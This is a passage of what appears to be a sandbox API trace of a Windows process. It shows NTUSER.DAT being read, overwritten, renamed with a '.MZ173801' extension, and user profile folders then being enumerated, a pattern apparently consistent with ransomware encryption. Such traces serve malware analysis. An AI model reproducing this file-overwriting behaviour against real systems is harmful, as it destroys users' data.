dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0172.503] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0172.503] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0172.503] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x40000 [0172.503] SetFilePointer (in: hFile=0x284, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0172.503] ReadFile (in: hFile=0x284, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x40000, lpOverlapped=0x0) returned 1 [0172.507] CloseHandle (hObject=0x284) returned 1 [0172.509] VirtualAlloc (lpAddress=0x0, dwSize=0x50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7fe60000 [0172.517] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0172.519] WriteFile (in: hFile=0x284, lpBuffer=0x24e0040*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24e0040*, lpNumberOfBytesWritten=0x19fa24*=0x40000, lpOverlapped=0x0) returned 1 [0172.524] CloseHandle (hObject=0x284) returned 1 [0172.524] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT.MZ173801" (normalized: "c:\\users\\default\\ntuser.dat.mz173801")) returned 1 [0172.525] VirtualFree (lpAddress=0x7fe60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0172.526] GetCurrentThreadId () returned 0xab4 [0172.527] GetCurrentThreadId () returned 0xab4 [0172.527] GetCurrentThreadId () returned 0xab4 [0172.527] GetCurrentThreadId () returned 0xab4 [0172.527] GetCurrentThreadId () returned 0xab4 [0172.527] GetCurrentThreadId () returned 0xab4 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6c6021fd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x6c6021fd, ftLastAccessTime.dwHighDateTime=0x1d29fdc, ftLastWriteTime.dwLowDateTime=0x6c6021fd, ftLastWriteTime.dwHighDateTime=0x1d29fdc, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7dab84ff, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855f639a, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7ddd9675, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0xacbd1187, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7de71fdf, ftCreationTime.dwHighDateTime=0x1d2fa07, ftLastAccessTime.dwLowDateTime=0x855d0141, ftLastAccessTime.dwHighDateTime=0x1d2fa07, ftLastWriteTime.dwLowDateTime=0x855d0141, ftLastWriteTime.dwHighDateTime=0x1d2fa07, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TM.blf", cAlternateFileName="NTUSER~2.BLF")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b6f06dc, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b6f06dc, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~3.REG")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.527] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.527] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8b716935, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0x8b716935, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8b762e4b, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~4.REG")) returned 1 [0172.527] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.528] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbafc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbb8a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3fbc16a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0172.528] GetLastError () returned 0x12 [0172.528] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0172.528] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x90f921d9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x90f921d9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x90f921d9, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x90f921d9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0172.528] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3aee4d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0172.529] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0172.529] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x785fe036, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0172.529] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0172.529] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0172.529] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.529] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0172.529] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.529] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.529] GetLastError () returned 0x12 [0172.529] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0172.529] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Desktop\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b818 [0172.529] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0172.529] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.529] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.529] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0172.530] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0172.530] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3ef8c08, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 0 [0172.530] GetLastError () returned 0x12 [0172.530] FindClose (in: hFindFile=0xa1b818 | out: hFindFile=0xa1b818) returned 1 [0172.530] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0172.530] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0172.530] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0172.530] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName=".", cAlternateFileName="")) returned 0xa1b738 [0172.742] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc3f654c1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa1e000, dwReserved1=0xa289c8, cFileName="..", cAlternateFileName="")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x5d42963, ftLastAccessTime.dwHighDateTime=0x1d32721, ftLastWriteTime.dwLowDateTime=0x5d42963, ftLastWriteTime.dwHighDateTime=0x1d32721, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xa289c8, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0172.742] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x5d42963, 